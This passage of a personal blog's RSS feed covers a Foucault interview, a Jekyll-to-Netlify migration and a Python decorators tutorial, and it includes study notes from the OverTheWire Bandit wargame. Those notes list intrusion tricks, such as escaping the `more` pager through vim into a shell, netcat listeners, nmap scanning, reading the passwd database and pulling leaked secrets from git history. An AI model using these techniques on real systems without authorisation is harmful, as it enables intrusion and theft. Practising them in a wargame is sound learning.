&lt;p&gt;I don’t believe in the virtue of using language for “self-expression”. The language that interests me is the one that can actually destroy all the circular, enclosed, narcissistic forms of the subject and of oneself… And what I mean by ‘the end of man’ is, deep down, the end of all these forms of individuality, of subjectivity, of consciousness, of the ego on which we built and from which we have tried to build and to constitute knowledge. This is one of the forms of this limitation, of these exclusions, of these rejections, that I was talking about… The West has tried to build the figure of man in this way and this image is in the process of disappearing… And so I don’t say the things I say because they are what I think, but rather I say them with the end in mind of self-destruction, precisely to make sure they are no longer what I think. To be really certain that from now on, outside of me, they are going to live or die in such a way that I will not have to recognize myself in them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;When we put his quote in context, we see that none of the above interpretations were his intent. Actually, he was talking along the lines of his philosophy of post-structuralism and post-humanism, wherein he proclaimed the upcoming &lt;em&gt;death of man&lt;/em&gt;. Let me try to explain what he meant by this, although admittedly I’m very new to this, so this is more of an attempt of mine to clarify my own thoughts.&lt;/p&gt;
&lt;p&gt;According to Foucault, the contemporary idea of man is an invention of the Enlightment and modernity. Before Enlightment, humanity’s thoughts were mostly guided by dogmas and its objects of observations were mostly God. But after the Enlightment and its objective analytical approach to everything, the place of God seemed to have been taken by man. This is what we typically refer to as Humanism, although the meaning of the term has fluctuated widely across time and among different intellectual cultures. Humanism is defined by Wikipedia as;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Humanism is a philosophical and ethical stance that emphasizes the value and agency of human beings, individually and collectively, and generally prefers critical thinking and evidence (rationalism and empiricism) over acceptance of dogma or superstition.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What modernity missed is the underlying &lt;a href=&quot;https://en.wikipedia.org/wiki/Episteme#Michel_Foucault&quot;&gt;&lt;em&gt;episteme&lt;/em&gt;&lt;/a&gt; — a pattern of thought particular to an epoch which guides its discourses. Foucault disapproves of the excess emphasis modernity puts on the individual. He argues that the individual man who discovers ideas is insignificant to the ideas themselves, and the &lt;em&gt;episteme&lt;/em&gt; in the background. Man’s insignificance lies in the fact that he doesn’t have as much freedom and creativity as we’d like to think, rather he’s a product of the power // knowledge relations of that epoch. Foucault believes that a change is imminent, where &lt;em&gt;the death of man&lt;/em&gt; will be upon us and we’ll move beyond this modern conception of man, into understanding the underlying power structures that defines man. That’s why he says he doesn’t want to recognize himself in his ideas, because for him the ideas are not simply product of his creativity.&lt;/p&gt;
&lt;p&gt;Again, this is a very premature reading of Foucault. He discusses these ideas in his 1966 book “&lt;em&gt;The Order of Things&lt;/em&gt;: An Archaeology of the Human Sciences”, and I’m yet to read the original text. Nevertheless, I think this is more or less what he meant to say in the interview in question.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Credits&lt;/strong&gt; — This “article” is nothing more than my notes from &lt;a href=&quot;https://www.youtube.com/watch?v=qzoOhhh4aJg&quot;&gt;the interview&lt;/a&gt; in question, and this discussion &lt;a href=&quot;https://www.reddit.com/r/askphilosophy/comments/bedk32/foucault_i_dont_say_the_things_i_say_because_they/&quot;&gt;here&lt;/a&gt; at Reddit, so thanks to the participants in that thread for bettering my understanding.&lt;/p&gt;
</content:encoded></item><item><title>Migrating from Github Pages to Netlify :: Some Gotchas</title><link>https://sumit-ghosh.com/posts/migrating-from-github-pages-to-netlify-gotchas/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/migrating-from-github-pages-to-netlify-gotchas/</guid><description>Migrating from Github Pages to Netlify :: Some Gotchas — by Sumit Ghosh.</description><pubDate>Thu, 14 Feb 2019 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I have been hearing lots of good things about &lt;a href=&quot;https://www.netlify.com/&quot;&gt;Netlify&lt;/a&gt; for quite some time, but I didn’t consider migrating to it because, “If it ain’t broke, don’t fix it”. Github pages was serving me quite well until recently, when I wanted to add archive pages for tags. I found &lt;a href=&quot;https://jekyll.github.io/jekyll-archives/&quot;&gt;jekyll-archives&lt;/a&gt;, a Jekyll plugin unsupported by Github pages that does the job perfectly, and that’s what made me migrate to Netlify. As of now this site is published on Netlify, and I must tell you, it’s far better than what I expected. It has more than enough configurability, while making the process as seamless as possible.&lt;/p&gt;
&lt;p&gt;I wanted to write this post because there are a few gotchas that you need to keep in mind to migrate your Github pages website successfully. These might not be that apparent when you just follow the wizard at Netlify, it most certainly wasn’t for me.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You have to have the following configuration options in your &lt;code&gt;_config.yaml&lt;/code&gt; file.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;timezone&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;Asia/Kolkata&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;https://sumit-ghosh.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#22863A;--shiki-dark:#85E89D&quot;&gt;baseurl&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without the &lt;code&gt;timezone&lt;/code&gt; option, the deployment server will use its native time zone, which can have unintended consequences. For example, A post with date &lt;em&gt;15-02-2019&lt;/em&gt; will get published when it’s that date in the server’s native time zone, not yours.&lt;/p&gt;
&lt;p&gt;As for the &lt;code&gt;url&lt;/code&gt; and &lt;code&gt;baseurl&lt;/code&gt; options, you can get by without having them when you’re using Github pages to deploy, because Github pages automatically populates those from your &lt;code&gt;CNAME&lt;/code&gt; file. But when you’re using Netlify, you have to specify them manually.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set &lt;code&gt;JEKYLL_ENV=production&lt;/code&gt; as an environment variable for the build environment. Check &lt;a href=&quot;https://www.netlify.com/docs/continuous-deployment/#build-environment-variables&quot;&gt;this&lt;/a&gt; page for instructions on how to do that. Again, Github pages takes care of this automatically, but you have to do it manually in Netlify. Without having this, your site will behave as if it was deployed locally, and will not include stuff like Google analytics tracking code and Disqus integration.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you don’t want &lt;a href=&quot;https://username.github.io&quot;&gt;https://username.github.io&lt;/a&gt; to redirect to your custom domain, delete the &lt;code&gt;CNAME&lt;/code&gt; file.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s important to note that I was using the &lt;a href=&quot;https://github.com/jekyll/minima&quot;&gt;Minima&lt;/a&gt; theme. You might need to make some more adjustments if you’re using any other fancier theme.&lt;/p&gt;
</content:encoded></item><item><title>Notes from Overthewire Bandit</title><link>https://sumit-ghosh.com/posts/notes-overthewire-bandit/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/notes-overthewire-bandit/</guid><description>Notes from Overthewire Bandit — by Sumit Ghosh.</description><pubDate>Tue, 12 Feb 2019 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I solved the &lt;a href=&quot;http://overthewire.org/wargames/bandit/&quot;&gt;Bandit&lt;/a&gt; wargame by Overthewire over the last few days, and noted down anything new // interesting I learned. This is not a writeup in any way, you’re not likely to find solutions to specific questions here. This is more like study notes, mostly for me to come back to it later. That being said, I’m hoping it’ll help you in some way too.&lt;/p&gt;
&lt;h2 id=&quot;stuff-i-learnt&quot;&gt;Stuff I learnt&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;man page vs the help command — &lt;code&gt;help&lt;/code&gt; is a feature of bash shell, it documents some &lt;code&gt;bash&lt;/code&gt; commands, and is available in bash only. Whereas &lt;code&gt;man&lt;/code&gt; is more general, and is a native feature of all Unix or Unix-like operating systems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We can use dash (-) in Linux as an alias of &lt;code&gt;stdin&lt;/code&gt; or &lt;code&gt;stdout&lt;/code&gt;, whereas the standard way to do it would be using &lt;code&gt;/dev/stdin&lt;/code&gt; and &lt;code&gt;/dev/stdout&lt;/code&gt;. To use files named dash, either of the following can be used.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Specify the filename relative to current directory. &lt;code&gt;$ cat ./-&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bash redirection. &lt;code&gt;$ cat &amp;lt; - &lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Some interesting Unix commands.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, &lt;code&gt;xargs&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt; and piping between them to look for interesting files.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sort&lt;/code&gt; and &lt;code&gt;uniq&lt;/code&gt;, for getting unique lines in a text file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;strings&lt;/code&gt; for searching for strings in binary files.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;base64&lt;/code&gt; to encode or decode Base64.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tr &apos;A-Za-z&apos; &apos;N-ZA-Mn-za-m&apos;&lt;/code&gt; for &lt;em&gt;ROT13&lt;/em&gt;, or any suitable variation of the command for any form of the ROT encryption. Obviously, it can be used for other sorts of substitution, such as &lt;code&gt;tr &apos;[:upper:]&apos; &apos;[:lower:]&lt;/code&gt; will convert uppercase to lowercase.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gzip&lt;/code&gt;, &lt;code&gt;bzip2&lt;/code&gt; and the &lt;code&gt;tar&lt;/code&gt; are the standard compression formats used in Linux, and there are corresponding programs with the same names.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxd&lt;/code&gt; for creating hexdumps and reverse hexdumps.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nc host port&lt;/code&gt; for arbitrary TCP // UDP connection.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openssl s_client -connect host:port&lt;/code&gt; for connecting to SSL services.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nmap&lt;/code&gt; for port scanning.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;diff&lt;/code&gt; for diffing, obviously.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scp&lt;/code&gt; to copy stuff over the SSH protocol.&lt;/li&gt;
&lt;li&gt;Unix job control — &lt;code&gt;jobs&lt;/code&gt;, &lt;code&gt;fg&lt;/code&gt;, &lt;code&gt;bg&lt;/code&gt; and &lt;code&gt;CTRL+Z&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Listen on a port using netcat — &lt;code&gt;nc -l -p port&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Split by space and take first element from each line — &lt;code&gt;cut -d &apos; &apos; -f 1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;md5sum&lt;/code&gt; for MD5 checksum (duh!)&lt;/li&gt;
&lt;li&gt;More commands! — &lt;code&gt;seq&lt;/code&gt; and &lt;code&gt;tee&lt;/code&gt;. &lt;code&gt;Seq&lt;/code&gt; produces a sequence of numbers, which can in turn be used in for loops in bash. Format strings can be used with with &lt;code&gt;seq&lt;/code&gt;, like &lt;code&gt;%04g&lt;/code&gt;. Tee can be used to put data from &lt;code&gt;stdin&lt;/code&gt; into a file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo -e&lt;/code&gt; is to be used when we’d want bash to interpret escaped characters as they are.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;getent passwd&lt;/code&gt; — for checking &lt;code&gt;/etc/passwd&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;Immensely useful for checking the history of a git repository — &lt;code&gt;git log --graph --decorate --all --oneline&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You have to have &lt;code&gt;400&lt;/code&gt; as the permission for the SSH private key.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;setuid&lt;/code&gt;, &lt;code&gt;setgid&lt;/code&gt;, &lt;code&gt;sticky&lt;/code&gt; and the corresponding &lt;code&gt;chmod&lt;/code&gt; commands. These bits control which user the executable would be run as. Kind of similar to setting the “Run as administrator” flag in Windows, only here in Linux it’s much more flexible and versatile.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;crontab&lt;/code&gt;s are in the &lt;code&gt;/etc/cron.d/&lt;/code&gt; directory, and cronjobs are run as the user that owns that crontab file.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sometimes you can’t &lt;code&gt;ls&lt;/code&gt; or &lt;code&gt;cd&lt;/code&gt; into a directory, but still can write inside that directory…. strange but useful.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There should be no spaces around the equal sign while assigning variables in Bash.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can trigger &lt;code&gt;more&lt;/code&gt; to go into a command mode by making the terminal small enough. And while you’re in that mode, pressing v will open up and editor, by default vim. And then you can use vim commands to access the files, such as &lt;code&gt;:e filename&lt;/code&gt; to open a file and &lt;code&gt;:set shell=/bin/bash&lt;/code&gt; and then &lt;code&gt;:shell&lt;/code&gt; to open a shell.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finding info leak in git repos.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check &lt;code&gt;git log&lt;/code&gt; and &lt;code&gt;git tags&lt;/code&gt; and look for any interesting commit // tag. And then checkout to it using &lt;code&gt;git checkout commit&lt;/code&gt; and grab that info.&lt;/li&gt;
&lt;li&gt;Check &lt;code&gt;.git/packed-refs&lt;/code&gt; for all refs. And then, if checking out to a ref doesn’t work, use &lt;code&gt;git show ref&lt;/code&gt; or &lt;code&gt;git cat-file -p ref&lt;/code&gt; on it to directly read the contents.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Demystifying @decorators in Python</title><link>https://sumit-ghosh.com/posts/demystifying-decorators-python/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/demystifying-decorators-python/</guid><description>Demystifying @decorators in Python — by Sumit Ghosh.</description><pubDate>Mon, 14 Jan 2019 18:30:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Decorators are one of the most powerful tools Python has, but it may seem elusive to beginners. My first introduction to decorators was through Flask, the web framework. I didn’t really delve into it at that time, just accepted it as a part of the Flask framework that I was to use mindlessly. Maybe it was that way for you too, but you’re here—that means you want to change that. So let’s do it!&lt;/p&gt;
&lt;h2 id=&quot;what-are-decorators&quot;&gt;What are decorators?&lt;/h2&gt;
&lt;p&gt;Beginners may not feel comfortable with it because it goes outside “normal” procedural programming—like C—where you define functions containing blocks of code and call them, or object-oriented programming, where you define classes and instantiate objects of them. Decorators lie in neither of these paradigms, it comes from the realm of &lt;em&gt;functional programming&lt;/em&gt;. But I’m getting ahead of myself, let us tackle the concepts one-by-one.&lt;/p&gt;
&lt;p&gt;By definition, a decorator is a function that allows us to wrap another function in order to extend the behavior of the wrapped function, without permanently modifying it. This is why decorators can also be thought of as a practice of &lt;em&gt;metaprogramming&lt;/em&gt;, in which computer programs have the ability to treat other programs as their data. To understand how this works, we first have to make sure that we understand how Python treats functions.&lt;/p&gt;
&lt;h2 id=&quot;understanding-functions&quot;&gt;Understanding functions&lt;/h2&gt;
&lt;p&gt;We all know what functions are, right? Don’t be so sure. There are some aspects of functions in Python that we don’t deal with very often, and subsequently they are often forgotten. Let us clear up what functions are and how are they represented in Python.&lt;/p&gt;
&lt;h3 id=&quot;functions-as-procedures&quot;&gt;Functions as procedures&lt;/h3&gt;
&lt;p&gt;This is the facet of functions we are most familiar with. A procedure is defined as a series of computational steps to be carried out. Any given procedure might be called at any point during a program’s execution, including by other procedures or itself. There isn’t much else to it, so I’ll move on to the next aspect of functions in Python.&lt;/p&gt;
&lt;h3 id=&quot;functions-as-first-class-objects&quot;&gt;Functions as first-class objects&lt;/h3&gt;
&lt;p&gt;In Python, &lt;em&gt;everything&lt;/em&gt; is an object, not just the ones you instantiate from a class. In that sense, it embraces object-oriented programming to its core. So that means, all of the following are objects in Python&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Integers&lt;/li&gt;
&lt;li&gt;Strings&lt;/li&gt;
&lt;li&gt;Classes—yes, even classes!&lt;/li&gt;
&lt;li&gt;Functions—this is what we’re interested in.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You should realize that everything being objects opens up a world of endless possibility. That means we can save functions in a variable, and pass them to and return from another function even! You can also define a function in another function. In other words, functions are first-class citizens (or objects). From &lt;a href=&quot;https://en.wikipedia.org/wiki/First-class_citizen&quot;&gt;Wikipedia&lt;/a&gt; —&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In programming language design, a &lt;strong&gt;first-class citizen&lt;/strong&gt; (also &lt;strong&gt;type&lt;/strong&gt;, &lt;strong&gt;object&lt;/strong&gt;, &lt;strong&gt;entity&lt;/strong&gt;, or &lt;strong&gt;value&lt;/strong&gt;) in a given programming language is an entity which supports all the operations generally available to other entities. These operations typically include being passed as an argument, returned from a function, modified, and assigned to a variable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And that’s where functional programming comes into play, and consequently, decorators.&lt;/p&gt;
&lt;h3 id=&quot;functional-programming--higher-order-functions&quot;&gt;Functional programming :: Higher-order functions&lt;/h3&gt;
&lt;p&gt;Python incorporates some techniques from functional programming languages, such as Haskell and OCaml. Without getting into the formal definition of what functional programming is, let me list two characteristics of it that are there in Python as well.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Functions are treated as first-class citizens.&lt;/li&gt;
&lt;li&gt;Consequently, it supports &lt;em&gt;higher-order functions&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are some other properties of functional programming, such as its functions having no &lt;em&gt;side-effect&lt;/em&gt;, but I’d be getting out of topic if I started discussing those. Let us instead focus on what’s relevant — higher-order functions. But what are higher-order functions? By the definition from &lt;a href=&quot;https://en.wikipedia.org/wiki/Functional_programming#First-class_and_higher-order_functions&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Higher-order functions are functions that can take other functions as arguments or return them as results.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you know basic calculus, you know some higher-order &lt;em&gt;mathematical&lt;/em&gt; functions already, such as the differential operator $$ d/dx $$. It takes a function as input and returns another function, it’s derivative as output. Higher-order functions in a programming context work the same way, it either takes a function(s) as input or returns them as output, or both!&lt;/p&gt;
&lt;h3 id=&quot;some-examples&quot;&gt;Some examples&lt;/h3&gt;
&lt;p&gt;Now that we know the theory behind all the facets of functions in Python, let us contextualize them with some example code.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; hello_world&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;Hello world!&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here’s an example function, the quintessential introductory function. You can see from the following snippet that this function, along with classes and integers—everything are objects, instances of &lt;em&gt;classes&lt;/em&gt;, in Python.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; def hello_world():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...     print(&apos;Hello world!&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; type(hello_world)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;class &apos;function&apos;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; class Hello:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...     pass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; type(Hello)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;class &apos;type&apos;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; type(10)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;class &apos;int&apos;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see that &lt;code&gt;hello_world&lt;/code&gt; is of type &lt;code&gt;&amp;lt;class ‘function’&lt;/code&gt;, that means it’s an object of the &lt;em&gt;class&lt;/em&gt; &lt;code&gt;function&lt;/code&gt;. Also, classes we defined are objects of the &lt;em&gt;class&lt;/em&gt; &lt;code&gt;type&lt;/code&gt;. It’s a little weird to get your head around, but once you’ve tried playing with the &lt;code&gt;type&lt;/code&gt; function with different things in the Python shell it’ll click.&lt;/p&gt;
&lt;p&gt;Next, let’s observe functions being first-class citizens.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We can store functions in a variable.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; hello = hello_world&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; hello()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hello world!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Defining a function inside another function.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; def wrapper_function():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...     def hello_world():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...             print(&apos;Hello world!&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...     hello_world()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; wrapper_function()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hello world!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pass function as an argument to another function, and return function from another function.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; def higher_order(func):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...     print(&apos;Received function {} as input&apos;.format(func))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...     func()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...     return func&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; higher_order(hello_world)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Received function &amp;lt;function hello_world at 0x032C7FA8&amp;gt; as input&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hello world!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;function hello_world at 0x032C7FA8&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The examples above combined with what we discussed before should clear how functions in Python are flexible. Keeping that in mind, we can start discussing decorators.&lt;/p&gt;
&lt;h2 id=&quot;understanding-decorators&quot;&gt;Understanding decorators&lt;/h2&gt;
&lt;p&gt;Let’s reiterate the definition of a decorator&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A decorator is a function that allows us to wrap another function in order to extend the behavior of the wrapped function, without permanently modifying it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now that we know how higher-order functions work, we can understand how decorators work. Let’s look at an example decorator first —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; decorator_function&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(func):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; wrapper&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
